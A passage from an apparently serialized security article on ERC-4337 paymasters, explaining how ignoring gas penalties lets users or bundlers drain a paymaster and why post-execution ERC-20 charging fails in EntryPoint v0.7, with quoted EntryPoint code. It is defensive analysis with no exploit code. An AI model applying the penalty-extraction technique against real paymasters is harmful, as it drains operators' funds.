amount first. This prefund is calculated by taking the gas limit specified in the ",{"type":23,"tag":135,"props":102332,"children":102334},{"className":102333},[],[102335],{"type":28,"value":100387},{"type":28,"value":102337}," and applying a markup price to convert the native ETH cost into the equivalent ERC20-token value. Later in ",{"type":23,"tag":135,"props":102339,"children":102341},{"className":102340},[],[102342],{"type":28,"value":102343},"postOp",{"type":28,"value":102345},", the paymaster calculates the actual charge and refunds any excess from the prefund.",{"type":23,"tag":24,"props":102347,"children":102348},{},[102349,102351,102356,102358,102365],{"type":28,"value":102350},"However, there is a critical oversight: ",{"type":23,"tag":56,"props":102352,"children":102353},{},[102354],{"type":28,"value":102355},"the code does not account for gas penalties",{"type":28,"value":102357},". The actual gas charged to the paymaster includes not just the gas used, but also any ",{"type":23,"tag":64,"props":102359,"children":102362},{"href":102360,"rel":102361},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L726-L730",[68],[102363],{"type":28,"value":102364},"penalties incurred",{"type":28,"value":102366}," from differences between the execution gas limit and actual execution gas.",{"type":23,"tag":24,"props":102368,"children":102369},{},[102370],{"type":28,"value":102371},"This vulnerability can be exploited by malicious users who set an artificially high gas limit to trigger the penalty. When penalties are applied, the paymaster will be charged significantly more than expected, potentially draining its funds since these additional costs were not factored into the calculation.",{"type":23,"tag":24,"props":102373,"children":102374},{},[102375,102377,102382],{"type":28,"value":102376},"In fact, the bundler will be the one who receives the penalty paid by the paymaster. This means a bundler could submit their own ",{"type":23,"tag":135,"props":102378,"children":102380},{"className":102379},[],[102381],{"type":28,"value":100086},{"type":28,"value":102383}," to be executed by themselves and profit if the penalty they can extract from the paymaster exceeds their own gas costs paid to the paymaster. In SEND's case, fortunately, because they operate their own bundler, any penalties incurred flow back to their controlled bundler, creating a closed economic loop that mitigates this particular attack vector.",{"type":23,"tag":41,"props":102385,"children":102387},{"id":102386},"incorrect-erc-20-handling",[102388],{"type":23,"tag":56,"props":102389,"children":102390},{},[102391],{"type":28,"value":102392},"Incorrect ERC-20 Handling",{"type":23,"tag":24,"props":102394,"children":102395},{},[102396],{"type":28,"value":102397},"To improve user experience, some protocols introduced ERC-20 paymasters that allow users to pay transaction gas fees using ERC-20 tokens instead of native ETH (Just like what SEND did in the above code). The core concept is quite straightforward, the paymaster fronts the ETH gas costs to bundlers, then charges users an equivalent amount in ERC-20 tokens based on current market rates. However, implementing this token-to-ETH conversion and payment flow securely requires careful consideration.",{"type":23,"tag":24,"props":102399,"children":102400},{},[102401,102402,102407,102409,102414],{"type":28,"value":43192},{"type":23,"tag":135,"props":102403,"children":102405},{"className":102404},[],[102406],{"type":28,"value":100167},{"type":28,"value":102408}," flow above, we can see that paymasters have two key interaction points during a ",{"type":23,"tag":135,"props":102410,"children":102412},{"className":102411},[],[102413],{"type":28,"value":100086},{"type":28,"value":102415},"'s lifecycle:",{"type":23,"tag":797,"props":102417,"children":102418},{},[102419,102429],{"type":23,"tag":801,"props":102420,"children":102421},{},[102422,102424],{"type":28,"value":102423},"During validation via ",{"type":23,"tag":135,"props":102425,"children":102427},{"className":102426},[],[102428],{"type":28,"value":100274},{"type":23,"tag":801,"props":102430,"children":102431},{},[102432,102434],{"type":28,"value":102433},"After execution via ",{"type":23,"tag":135,"props":102435,"children":102437},{"className":102436},[],[102438],{"type":28,"value":100285},{"type":23,"tag":24,"props":102440,"children":102441},{},[102442],{"type":28,"value":102443},"This dual-interaction model has led to two predominant patterns for handling ERC-20 payments in paymaster implementations:",{"type":23,"tag":666,"props":102445,"children":102447},{"id":102446},"_1-pre-payment-with-refund-pattern",[102448],{"type":28,"value":102449},"1. Pre-Payment with Refund Pattern",{"type":23,"tag":24,"props":102451,"children":102452},{},[102453,102455,102460,102462,102467,102469,102475,102476,102482,102484,102489,102491,102496,102498,102503],{"type":28,"value":102454},"In this model, the paymaster requires users to pre-pay the maximum possible gas cost in ERC-20 tokens during ",{"type":23,"tag":135,"props":102456,"children":102458},{"className":102457},[],[102459],{"type":28,"value":100274},{"type":28,"value":102461},". After execution completes, ",{"type":23,"tag":135,"props":102463,"children":102465},{"className":102464},[],[102466],{"type":28,"value":100285},{"type":28,"value":102468}," refunds any excess tokens based on actual gas consumed. This is analogous to how regular ETH gas payments work. Several protocols like ",{"type":23,"tag":135,"props":102470,"children":102472},{"className":102471},[],[102473],{"type":28,"value":102474},"SEND",{"type":28,"value":9002},{"type":23,"tag":135,"props":102477,"children":102479},{"className":102478},[],[102480],{"type":28,"value":102481},"Circle",{"type":28,"value":102483}," have implemented this approach. However, this pattern has one key disadvantage: users must first approve the paymaster to spend their ERC20 tokens before submitting any ",{"type":23,"tag":135,"props":102485,"children":102487},{"className":102486},[],[102488],{"type":28,"value":100115},{"type":28,"value":102490},". This additional setup step is required to ensure the paymaster can successfully deduct tokens ",{"type":23,"tag":56,"props":102492,"children":102493},{},[102494],{"type":28,"value":102495},"before",{"type":28,"value":102497}," execution (specifically during ",{"type":23,"tag":135,"props":102499,"children":102501},{"className":102500},[],[102502],{"type":28,"value":102328},{"type":28,"value":18750},{"type":23,"tag":666,"props":102505,"children":102507},{"id":102506},"_2-post-execution-charging-pattern",[102508],{"type":28,"value":102509},"2. Post-Execution Charging Pattern",{"type":23,"tag":24,"props":102511,"children":102512},{},[102513,102515,102520,102522,102527,102529,102534,102536,102541],{"type":28,"value":102514},"This alternative approach defers token collection until after execution. Instead of charging a prefund during ",{"type":23,"tag":135,"props":102516,"children":102518},{"className":102517},[],[102519],{"type":28,"value":100274},{"type":28,"value":102521},", the actual token payment is calculated and collected in ",{"type":23,"tag":135,"props":102523,"children":102525},{"className":102524},[],[102526],{"type":28,"value":100285},{"type":28,"value":102528}," based on the exact gas consumed. At first glance, this appears to be the most user-friendly pattern since users can bundle their token approval transaction within the same ",{"type":23,"tag":135,"props":102530,"children":102532},{"className":102531},[],[102533],{"type":28,"value":100086},{"type":28,"value":102535},", eliminating the need for a separate pre-approval transaction before submitting the ",{"type":23,"tag":135,"props":102537,"children":102539},{"className":102538},[],[102540],{"type":28,"value":100387},{"type":28,"value":102542},". This means users could interact with the paymaster without any prior setup.",{"type":23,"tag":24,"props":102544,"children":102545},{},[102546,102548,102553,102555,102561,102563,102569,102571,102576],{"type":28,"value":102547},"This approach used to work in ",{"type":23,"tag":135,"props":102549,"children":102551},{"className":102550},[],[102552],{"type":28,"value":100167},{"type":28,"value":102554}," version ",{"type":23,"tag":135,"props":102556,"children":102558},{"className":102557},[],[102559],{"type":28,"value":102560},"v0.6",{"type":28,"value":102562},", but the pattern no longer works in ",{"type":23,"tag":135,"props":102564,"children":102566},{"className":102565},[],[102567],{"type":28,"value":102568},"v0.7",{"type":28,"value":102570},". In fact, using this pattern can lead to loss of funds for the paymaster. Let's take a closer look at how ",{"type":23,"tag":135,"props":102572,"children":102574},{"className":102573},[],[102575],{"type":28,"value":102568},{"type":28,"value":102577}," handles the execution phase:",{"type":23,"tag":128,"props":102579,"children":102581},{"className":2476,"code":102580,"language":2475,"meta":7,"style":7},"    function _executeUserOp(\n        uint256 opIndex,\n        PackedUserOperation calldata userOp,\n        UserOpInfo memory opInfo\n    )\n    internal virtual\n    returns (uint256 collected) {\n    [...]\n        bool success;\n        {\n    [...]\n            if (methodSig == IAccountExecute.executeUserOp.selector) {\n                bytes memory executeUserOp = abi.encodeCall(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n                innerCall = abi.encodeCall(this.innerHandleOp, (executeUserOp, opInfo, context));\n            } else\n            {\n                innerCall = abi.encodeCall(this.innerHandleOp, (callData, opInfo, context));\n            }\n            assembly (\"memory-safe\") {\n                success := call(gas(), address(), 0, add(innerCall, 0x20), mload(innerCall), 0, 32)\n                collected := mload(0)\n            }\n            _restoreFreePtr(saveFreePtr);\n        }\n        if (!success) {\n    [...]\n            if (innerRevertCode == INNER_OUT_OF_GAS) {\n                // handleOps was called with gas limit too low. abort entire bundle.\n                // can only be caused by bundler (leaving not enough gas for inner call)\n                revert FailedOp(opIndex, \"AA95 out of gas\");\n            } else if (innerRevertCode == INNER_REVERT_LOW_PREFUND) {\n                // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n                uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n                uint256 actualGasCost = opInfo.prefund;\n                _emitPrefundTooLow(opInfo);\n                _emitUserOperationEvent(opInfo, false, actualGasCost, actualGas);\n                collected = actualGasCost;\n            } else {\n    [...]\n                collected = _postExecution(\n                    IPaymaster.PostOpMode.postOpReverted,\n                    opInfo,\n                    context,\n                    actualGas\n                );\n            }\n        }\n    }\n",[102582],{"type":23,"tag":135,"props":102583,"children":102584},{"__ignoreMap":7},[102585,102601,102617,102637,102654,102661,102674,102698,102706,102719,102726,102733,102754,102793,102830,102842,102849,102885,102892,102913,103002,103031,103038,103051,103058,103078,103085,103106,103114,103122,103149,103177,103185,103228,103248,103261,103283,103299,103314,103321,103341,103349,103357,103365,103373,103381,103388,103395],{"type":23,"tag":139,"props":102586,"children":102587},{"class":141,"line":142},[102588,102592,102597],{"type":23,"tag":139,"props":102589,"children":102590},{"style":279},[102591],{"type":28,"value":87735},{"type":23,"tag":139,"props":102593,"children":102594},{"style":245},[102595],{"type":28,"value":102596}," _executeUserOp",{"type":23,"tag":139,"props":102598,"children":102599},{"style":259},[102600],{"type":28,"value":1443},{"type":23,"tag":139,"props":102602,"children":102603},{"class":141,"line":151},[102604,102608,102613],{"type":23,"tag":139,"props":102605,"children":102606},{"style":305},[102607],{"type":28,"value":87913},{"type":23,"tag":139,"props":102609,"children":102610},{"style":294},[102611],{"type":28,"value":102612}," opIndex",{"type":23,"tag":139,"props":102614,"children":102615},{"style":259},[102616],{"type":28,"value":1488},{"type":23,"tag":139,"props":102618,"children":102619},{"class":141,"line":160},[102620,102625,102629,102633],{"type":23,"tag":139,"props":102621,"children":102622},{"style":279},[102623],{"type":28,"value":102624},"        PackedUserOperation",{"type":23,"tag":139,"props":102626,"children":102627},{"style":279},[102628],{"type":28,"value":100916},{"type":23,"tag":139,"props":102630,"children":102631},{"style":294},[102632],{"type":28,"value":100921},{"type":23,"tag":139,"props":102634,"children":102635},{"style":259},[102636],{"type":28,"value":1488},{"type":23,"tag":139,"props":102638,"children":102639},{"class":141,"line":169},[102640,102645,102649],{"type":23,"tag":139,"props":102641,"children":102642},{"style":279},[102643],{"type":28,"value":102644},"        UserOpInfo",{"type":23,"tag":139,"props":102646,"children":102647},{"style":279},[102648],{"type":28,"value":100984},{"type":23,"tag":139,"props":102650,"children":102651},{"style":294},[102652],{"type":28,"value":102653}," opInfo\n",{"type":23,"tag":139,"props":102655,"children":102656},{"class":141,"line":178},[102657],{"type":23,"tag":139,"props":102658,"children":102659},{"style":259},[102660],{"type":28,"value":21939},{"type":23,"tag":139,"props":102662,"children":102663},{"class":141,"line":187},[102664,102669],{"type":23,"tag":139,"props":102665,"children":102666},{"style":279},[102667],{"type":28,"value":102668},"    internal",{"type":23,"tag":139,"props":102670,"children":102671},{"style":279},[102672],{"type":28,"value":102673}," virtual\n",{"type":23,"tag":139,"props":102675,"children":102676},{"class":141,"line":196},[102677,102681,102685,102689,102694],{"type":23,"tag":139,"props":102678,"children":102679},{"style":319},[102680],{"type":28,"value":44405},{"type":23,"tag":139,"props":102682,"children":102683},{"style":259},[102684],{"type":28,"value":1042},{"type":23,"tag":139,"props":102686,"children":102687},{"style":305},[102688],{"type":28,"value":44064},{"type":23,"tag":139,"props":102690,"children":102691},{"style":294},[102692],{"type":28,"value":102693}," collected",{"type":23,"tag":139,"props":102695,"children":102696},{"style":259},[102697],{"type":28,"value":12815},{"type":23,"tag":139,"props":102699,"children":102700},{"class":141,"line":205},[102701],{"type":23,"tag":139,"props":102702,"children":102703},{"style":259},[102704],{"type":28,"value":102705},"    [...]\n",{"type":23,"tag":139,"props":102707,"children":102708},{"class":141,"line":214},[102709,102714],{"type":23,"tag":139,"props":102710,"children":102711},{"style":305},[102712],{"type":28,"value":102713},"        bool",{"type":23,"tag":139,"props":102715,"children":102716},{"style":259},[102717],{"type":28,"value":102718}," success;\n",{"type":23,"tag":139,"props":102720,"children":102721},{"class":141,"line":1320},[102722],{"type":23,"tag":139,"props":102723,"children":102724},{"style":259},[102725],{"type":28,"value":29546},{"type":23,"tag":139,"props":102727,"children":102728},{"class":141,"line":1329},[102729],{"type":23,"tag":139,"props":102730,"children":102731},{"style":259},[102732],{"type":28,"value":102705},{"type":23,"tag":139,"props":102734,"children":102735},{"class":141,"line":1580},[102736,102740,102745,102749],{"type":23,"tag":139,"props":102737,"children":102738},{"style":319},[102739],{"type":28,"value":56700},{"type":23,"tag":139,"props":102741,"children":102742},{"style":259},[102743],{"type":28,"value":102744}," (methodSig ",{"type":23,"tag":139,"props":102746,"children":102747},{"style":982},[102748],{"type":28,"value":6580},{"type":23,"tag":139,"props":102750,"children":102751},{"style":259},[102752],{"type":28,"value":102753}," IAccountExecute.executeUserOp.selector) {\n",{"type":23,"tag":139,"props":102755,"children":102756},{"class":141,"line":1597},[102757,102762,102766,102771,102775,102779,102783,102788],{"type":23,"tag":139,"props":102758,"children":102759},{"style":305},[102760],{"type":28,"value":102761},"                bytes",{"type":23,"tag":139,"props":102763,"children":102764},{"style":279},[102765],{"type":28,"value":100984},{"type":23,"tag":139,"props":102767,"children":102768},{"style":259},[102769],{"type":28,"value":102770}," executeUserOp ",{"type":23,"tag":139,"props":102772,"children":102773},{"style":982},[102774],{"type":28,"value":1067},{"type":23,"tag":139,"props":102776,"children":102777},{"style":279},[102778],{"type":28,"value":101581},{"type":23,"tag":139,"props":102780,"children":102781},{"style":259},[102782],{"type":28,"value":73},{"type":23,"tag":139,"props":102784,"children":102785},{"style":245},[102786],{"type":28,"value":102787},"encodeCall",{"type":23,"tag":139,"props":102789,"children":102790},{"style":259},[102791],{"type":28,"value":102792},"(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n",{"type":23,"tag":139,"props":102794,"children":102795},{"class":141,"line":1614},[102796,102801,102805,102809,102813,102817,102821,102825],{"type":23,"tag":139,"props":102797,"children":102798},{"style":259},[102799],{"type":28,"value":102800},"                innerCall ",{"type":23,"tag":139,"props":102802,"children":102803},{"style":982},[102804],{"type":28,"value":1067},{"type":23,"tag":139,"props":102806,"children":102807},{"style":279},[102808],{"type":28,"value":101581},{"type":23,"tag":139,"props":102810,"children":102811},{"style":259},[102812],{"type":28,"value":73},{"type":23,"tag":139,"props":102814,"children":102815},{"style":245},[102816],{"type":28,"value":102787},{"type":23,"tag":139,"props":102818,"children":102819},{"style":259},[102820],{"type":28,"value":262},{"type":23,"tag":139,"props":102822,"children":102823},{"style":279},[102824],{"type":28,"value":15706},{"type":23,"tag":139,"props":102826,"children":102827},{"style":259},[102828],{"type":28,"value":102829},".innerHandleOp, (executeUserOp, opInfo, context));\n",{"type":23,"tag":139,"props":102831,"children":102832},{"class":141,"line":1627},[102833,102837],{"type":23,"tag":139,"props":102834,"children":102835},{"style":259},[102836],{"type":28,"value":68496},{"type":23,"tag":139,"props":102838,"children":102839},{"style":319},[102840],{"type":28,"value":102841},"else\n",{"type":23,"tag":139,"props":102843,"children":102844},{"class":141,"line":1636},[102845],{"type":23,"tag":139,"props":102846,"children":102847},{"style":259},[102848],{"type":28,"value":29582},{"type":23,"tag":139,"props":102850,"children":102851},{"class":141,"line":1659},[102852,102856,102860,102864,102868,102872,102876,102880],{"type":23,"tag":139,"props":102853,"children":102854},{"style":259},[102855],{"type":28,"value":102800},{"type":23,"tag":139,"props":102857,"children":102858},{"style":982},[102859],{"type":28,"value":1067},{"type":23,"tag":139,"props":102861,"children":102862},{"style":279},[102863],{"type":28,"value":101581},{"type":23,"tag":139,"props":102865,"children":102866},{"style":259},[102867],{"type":28,"value":73},{"type":23,"tag":139,"props":102869,"children":102870},{"style":245},[102871],{"type":28,"value":102787},{"type":23,"tag":139,"props":102873,"children":102874},{"style":259},[102875],{"type":28,"value":262},{"type":23,"tag":139,"props":102877,"children":102878},{"style":279},[102879],{"type":28,"value":15706},{"type":23,"tag":139,"props":102881,"children":102882},{"style":259},[102883],{"type":28,"value":102884},".innerHandleOp, (callData, opInfo, context));\n",{"type":23,"tag":139,"props":102886,"children":102887},{"class":141,"line":1667},[102888],{"type":23,"tag":139,"props":102889,"children":102890},{"style":259},[102891],{"type":28,"value":56784},{"type":23,"tag":139,"props":102893,"children":102894},{"class":141,"line":1676},[102895,102900,102904,102909],{"type":23,"tag":139,"props":102896,"children":102897},{"style":245},[102898],{"type":28,"value":102899},"            assembly",{"type":23,"tag":139,"props":102901,"children":102902},{"style":259},[102903],{"type":28,"value":1042},{"type":23,"tag":139,"props":102905,"children":102906},{"style":265},[102907],{"type":28,"value":102908},"\"memory-safe\"",{"type":23,"tag":139,"props":102910,"children":102911},{"style":259},[102912],{"type":28,"value":12815},{"type":23,"tag":139,"props":102914,"children":102915},{"class":141,"line":1745},[102916,102921,102925,102929,102933,102938,102942,102946,102950,102954,102958,102962,102967,102972,102976,102981,102986,102990,102994,102998],{"type":23,"tag":139,"props":102917,"children":102918},{"style":259},[102919],{"type":28,"value":102920},"                success ",{"type":23,"tag":139,"props":102922,"children":102923},{"style":982},[102924],{"type":28,"value":19615},{"type":23,"tag":139,"props":102926,"children":102927},{"style":245},[102928],{"type":28,"value":38854},{"type":23,"tag":139,"props":102930,"children":102931},{"style":259},[102932],{"type":28,"value":262},{"type":23,"tag":139,"props":102934,"children":102935},{"style":245},[102936],{"type":28,"value":102937},"gas",{"type":23,"tag":139,"props":102939,"children":102940},{"style":259},[102941],{"type":28,"value":16389},{"type":23,"tag":139,"props":102943,"children":102944},{"style":305},[102945],{"type":28,"value":30528},{"type":23,"tag":139,"props":102947,"children":102948},{"style":259},[102949],{"type":28,"value":16389},{"type":23,"tag":139,"props":102951,"children":102952},{"style":1016},[102953],{"type":28,"value":2021},{"type":23,"tag":139,"props":102955,"children":102956},{"style":259},[102957],{"type":28,"value":1052},{"type":23,"tag":139,"props":102959,"children":102960},{"style":245},[102961],{"type":28,"value":7646},{"type":23,"tag":139,"props":102963,"children":102964},{"style":259},[102965],{"type":28,"value":102966},"(innerCall, ",{"type":23,"tag":139,"props":102968,"children":102969},{"style":1016},[102970],{"type":28,"value":102971},"0x20",{"type":23,"tag":139,"props":102973,"children":102974},{"style":259},[102975],{"type":28,"value":13189},{"type":23,"tag":139,"props":102977,"children":102978},{"style":245},[102979],{"type":28,"value":102980},"mload",{"type":23,"tag":139,"props":102982,"children":102983},{"style":259},[102984],{"type":28,"value":102985},"(innerCall), ",{"type":23,"tag":139,"props":102987,"children":102988},{"style":1016},[102989],{"type":28,"value":2021},{"type":23,"tag":139,"props":102991,"children":102992},{"style":259},[102993],{"type":28,"value":1052},{"type":23,"tag":139,"props":102995,"children":102996},{"style":1016},[102997],{"type":28,"value":58246},{"type":23,"tag":139,"props":102999,"children":103000},{"style":259},[103001],{"type":28,"value":273},{"type":23,"tag":139,"props":103003,"children":103004},{"class":141,"line":1753},[103005,103010,103014,103019,103023,103027],{"type":23,"tag":139,"props":103006,"children":103007},{"style":259},[103008],{"type":28,"value":103009},"                collected ",{"type":23,"tag":139,"props":103011,"children":103012},{"style":982},[103013],{"type":28,"value":19615},{"type":23,"tag":139,"props":103015,"children":103016},{"style":245},[103017],{"type":28,"value":103018}," mload",{"type":23,"tag":139,"props":103020,"children":103021},{"style":259},[103022],{"type":28,"value":262},{"type":23,"tag":139,"props":103024,"children":103025},{"style":1016},[103026],{"type":28,"value":2021},{"type":23,"tag":139,"props":103028,"children":103029},{"style":259},[103030],{"type":28,"value":273},{"type":23,"tag":139,"props":103032,"children":103033},{"class":141,"line":1783},[103034],{"type":23,"tag":139,"props":103035,"children":103036},{"style":259},[103037],{"type":28,"value":56784},{"type":23,"tag":139,"props":103039,"children":103040},{"class":141,"line":1791},[103041,103046],{"type":23,"tag":139,"props":103042,"children":103043},{"style":245},[103044],{"type":28,"value":103045},"            _restoreFreePtr",{"type":23,"tag":139,"props":103047,"children":103048},{"style":259},[103049],{"type":28,"value":103050},"(saveFreePtr);\n",{"type":23,"tag":139,"props":103052,"children":103053},{"class":141,"line":1823},[103054],{"type":23,"tag":139,"props":103055,"children":103056},{"style":259},[103057],{"type":28,"value":1326},{"type":23,"tag":139,"props":103059,"children":103060},{"class":141,"line":1831},[103061,103065,103069,103073],{"type":23,"tag":139,"props":103062,"children":103063},{"style":319},[103064],{"type":28,"value":1249},{"type":23,"tag":139,"props":103066,"children":103067},{"style":259},[103068],{"type":28,"value":1042},{"type":23,"tag":139,"props":103070,"children":103071},{"style":982},[103072],{"type":28,"value":18629},{"type":23,"tag":139,"props":103074,"children":103075},{"style":259},[103076],{"type":28,"value":103077},"success) {\n",{"type":23,"tag":139,"props":103079,"children":103080},{"class":141,"line":1891},[103081],{"type":23,"tag":139,"props":103082,"children":103083},{"style":259},[103084],{"type":28,"value":102705},{"type":23,"tag":139,"props":103086,"children":103087},{"class":141,"line":7053},[103088,103092,103097,103101],{"type":23,"tag":139,"props":103089,"children":103090},{"style":319},[103091],{"type":28,"value":56700},{"type":23,"tag":139,"props":103093,"children":103094},{"style":259},[103095],{"type":28,"value":103096}," (innerRevertCode ",{"type":23,"tag":139,"props":103098,"children":103099},{"style":982},[103100],{"type":28,"value":6580},{"type":23,"tag":139,"props":103102,"children":103103},{"style":259},[103104],{"type":28,"value":103105}," INNER_OUT_OF_GAS) {\n",{"type":23,"tag":139,"props":103107,"children":103108},{"class":141,"line":7071},[103109],{"type":23,"tag":139,"props":103110,"children":103111},{"style":958},[103112],{"type":28,"value":103113},"                // handleOps was called with gas limit too low. abort entire bundle.\n",{"type":23,"tag":139,"props":103115,"children":103116},{"class":141,"line":7116},[103117],{"type":23,"tag":139,"props":103118,"children":103119},{"style":958},[103120],{"type":28,"value":103121},"                // can only be caused by bundler (leaving not enough gas for inner call)\n",{"type":23,"tag":139,"props":103123,"children":103124},{"class":141,"line":7222},[103125,103130,103135,103140,103145],{"type":23,"tag":139,"props":103126,"children":103127},{"style":319},[103128],{"type":28,"value":103129},"                revert",{"type":23,"tag":139,"props":103131,"children":103132},{"style":245},[103133],{"type":28,"value":103134}," FailedOp",{"type":23,"tag":139,"props":103136,"children":103137},{"style":259},[103138],{"type":28,"value":103139},"(opIndex, ",{"type":23,"tag":139,"props":103141,"children":103142},{"style":265},[103143],{"type":28,"value":103144},"\"AA95 out of gas\"",{"type":23,"tag":139,"props":103146,"children":103147},{"style":259},[103148],{"type":28,"value":1820},{"type":23,"tag":139,"props":103150,"children":103151},{"class":141,"line":21518},[103152,103156,103160,103164,103168,103172],{"type":23,"tag":139,"props":103153,"children":103154},{"style":259},[103155],{"type":28,"value":68496},{"type":23,"tag":139,"props":103157,"children":103158},{"style":319},[103159],{"type":28,"value":1293},{"type":23,"tag":139,"props":103161,"children":103162},{"style":319},[103163],{"type":28,"value":13799},{"type":23,"tag":139,"props":103165,"children":103166},{"style":259},[103167],{"type":28,"value":103096},{"type":23,"tag":139,"props":103169,"children":103170},{"style":982},[103171],{"type":28,"value":6580},{"type":23,"tag":139,"props":103173,"children":103174},{"style":259},[103175],{"type":28,"value":103176}," INNER_REVERT_LOW_PREFUND) {\n",{"type":23,"tag":139,"props":103178,"children":103179},{"class":141,"line":21553},[103180],{"type":23,"tag":139,"props":103181,"children":103182},{"style":958},[103183],{"type":28,"value":103184},"                // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n",{"type":23,"tag":139,"props":103186,"children":103187},{"class":141,"line":21561},[103188,103192,103197,103201,103206,103210,103215,103219,103223],{"type":23,"tag":139,"props":103189,"children":103190},{"style":305},[103191],{"type":28,"value":101364},{"type":23,"tag":139,"props":103193,"children":103194},{"style":259},[103195],{"type":28,"value":103196}," actualGas ",{"type":23,"tag":139,"props":103198,"children":103199},{"style":982},[103200],{"type":28,"value":1067},{"type":23,"tag":139,"props":103202,"children":103203},{"style":259},[103204],{"type":28,"value":103205}," preGas ",{"type":23,"tag":139,"props":103207,"children":103208},{"style":982},[103209],{"type":28,"value":2328},{"type":23,"tag":139,"props":103211,"children":103212},{"style":279},[103213],{"type":28,"value":103214}," gasleft",{"type":23,"tag":139,"props":103216,"children":103217},{"style":259},[103218],{"type":28,"value":12054},{"type":23,"tag":139,"props":103220,"children":103221},{"style":982},[103222],{"type":28,"value":2382},{"type":23,"tag":139,"props":103224,"children":103225},{"style":259},[103226],{"type":28,"value":103227}," opInfo.preOpGas;\n",{"type":23,"tag":139,"props":103229,"children":103230},{"class":141,"line":21569},[103231,103235,103239,103243],{"type":23,"tag":139,"props":103232,"children":103233},{"style":305},[103234],{"type":28,"value":101364},{"type":23,"tag":139,"props":103236,"children":103237},{"style":259},[103238],{"type":28,"value":102011},{"type":23,"tag":139,"props":103240,"children":103241},{"style":982},[103242],{"type":28,"value":1067},{"type":23,"tag":139,"props":103244,"children":103245},{"style":259},[103246],{"type":28,"value":103247}," opInfo.prefund;\n",{"type":23,"tag":139,"props":103249,"children":103250},{"class":141,"line":21578},[103251,103256],{"type":23,"tag":139,"props":103252,"children":103253},{"style":245},[103254],{"type":28,"value":103255},"                _emitPrefundTooLow",{"type":23,"tag":139,"props":103257,"children":103258},{"style":259},[103259],{"type":28,"value":103260},"(opInfo);\n",{"type":23,"tag":139,"props":103262,"children":103263},{"class":141,"line":21620},[103264,103269,103274,103278],{"type":23,"tag":139,"props":103265,"children":103266},{"style":245},[103267],{"type":28,"value":103268},"                _emitUserOperationEvent",{"type":23,"tag":139,"props":103270,"children":103271},{"style":259},[103272],{"type":28,"value":103273},"(opInfo, ",{"type":23,"tag":139,"props":103275,"children":103276},{"style":279},[103277],{"type":28,"value":6179},{"type":23,"tag":139,"props":103279,"children":103280},{"style":259},[103281],{"type":28,"value":103282},", actualGasCost, actualGas);\n",{"type":23,"tag":139,"props":103284,"children":103285},{"class":141,"line":21653},[103286,103290,103294],{"type":23,"tag":139,"props":103287,"children":103288},{"style":259},[103289],{"type":28,"value":103009},{"type":23,"tag":139,"props":103291,"children":103292},{"style":982},[103293],{"type":28,"value":1067},{"type":23,"tag":139,"props":103295,"children":103296},{"style":259},[103297],{"type":28,"value":103298}," actualGasCost;\n",{"type":23,"tag":139,"props":103300,"children":103301},{"class":141,"line":21661},[103302,103306,103310],{"type":23,"tag":139,"props":103303,"children":103304},{"style":259},[103305],{"type":28,"value":68496},{"type":23,"tag":139,"props":103307,"children":103308},{"style":319},[103309],{"type":28,"value":1293},{"type":23,"tag":139,"props":103311,"children":103312},{"style":259},[103313],{"type":28,"value":1268},{"type":23,"tag":139,"props":103315,"children":103316},{"class":141,"line":21669},[103317],{"type":23,"tag":139,"props":103318,"children":103319},{"style":259},[103320],{"type":28,"value":102705},{"type":23,"tag":139,"props":103322,"children":103323},{"class":141,"line":21678},[103324,103328,103332,103337],{"type":23,"tag":139,"props":103325,"children":103326},{"style":259},[103327],{"type":28,"value":103009},{"type":23,"tag":139,"props":103329,"children":103330},{"style":982},[103331],{"type":28,"value":1067},{"type":23,"tag":139,"props":103333,"children":103334},{"style":245},[103335],{"type":28,"value":103336}," _postExecution",{"type":23,"tag":139,"props":103338,"children":103339},{"style":259},[103340],{"type":28,"value":1443},{"type":23,"tag":139,"props":103342,"children":103343},{"class":141,"line":21754},[103344],{"type":23,"tag":139,"props":103345,"children":103346},{"style":259},[103347],{"type":28,"value":103348},"                    IPaymaster.PostOpMode.postOpReverted,\n",{"type":23,"tag":139,"props":103350,"children":103351},{"class":141,"line":21787},[103352],{"type":23,"tag":139,"props":103353,"children":103354},{"style":259},[103355],{"type":28,"value":103356},"                    opInfo,\n",{"type":23,"tag":139,"props":103358,"children":103359},{"class":141,"line":21795},[103360],{"type":23,"tag":139,"props":103361,"children":103362},{"style":259},[103363],{"type":28,"value":103364},"                    context,\n",{"type":23,"tag":139,"props":103366,"children":103367},{"class":141,"line":21803},[103368],{"type":23,"tag":139,"props":103369,"children":103370},{"style":259},[103371],{"type":28,"value":103372},"                    actualGas\n",{"type":23,"tag":139,"props":103374,"children":103375},{"class":141,"line":21840},[103376],{"type":23,"tag":139,"props":103377,"children":103378},{"style":259},[103379],{"type":28,"value":103380},"                );\n",{"type":23,"tag":139,"props":103382,"children":103383},{"class":141,"line":21853},[103384],{"type":23,"tag":139,"props":103385,"children":103386},{"style":259},[103387],{"type":28,"value":56784},{"type":23,"tag":139,"props":103389,"children":103390},{"class":141,"line":21866},[103391],{"type":23,"tag":139,"props":103392,"children":103393},{"style":259},[103394],{"type":28,"value":1326},{"type":23,"tag":139,"props":103396,"children":103397},{"class":141,"line":21879},[103398],{"type":23,"tag":139,"props":103399,"children":103400},{"style":259},[103401],{"type":28,"value":1335},{"type":23,"tag":24,"props":103403,"children":103404},{},[103405,103407,103412,103414,103420,103422,103428,103430,103436],{"type":28,"value":103406},"During execution, the ",{"type":23,"tag":135,"props":103408,"children":103410},{"className":103409},[],[103411],{"type":28,"value":100167},{"type":28,"value":103413}," contract makes a ",{"type":23,"tag":64,"props":103415,"children":103418},{"href":103416,"rel":103417},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L222-L232",[68],[103419],{"type":28,"value":36186},{"type":28,"value":103421}," to its own ",{"type":23,"tag":135,"props":103423,"children":103425},{"className":103424},[],[103426],{"type":28,"value":103427},"innerHandleOp",{"type":28,"value":103429}," function through a low-level ",{"type":23,"tag":135,"props":103431,"children":103433},{"className":103432},[],[103434],{"type":28,"value":103435},"call()",{"type":28,"value":103437},". This is done to create a new call context for executing the user operation.",{"type":23,"tag":24,"props":103439,"children":103440},{},[103441,103443,103449,103450,103455,103457,103464,103466,103472],{"type":28,"value":103442},"If this call fails (when 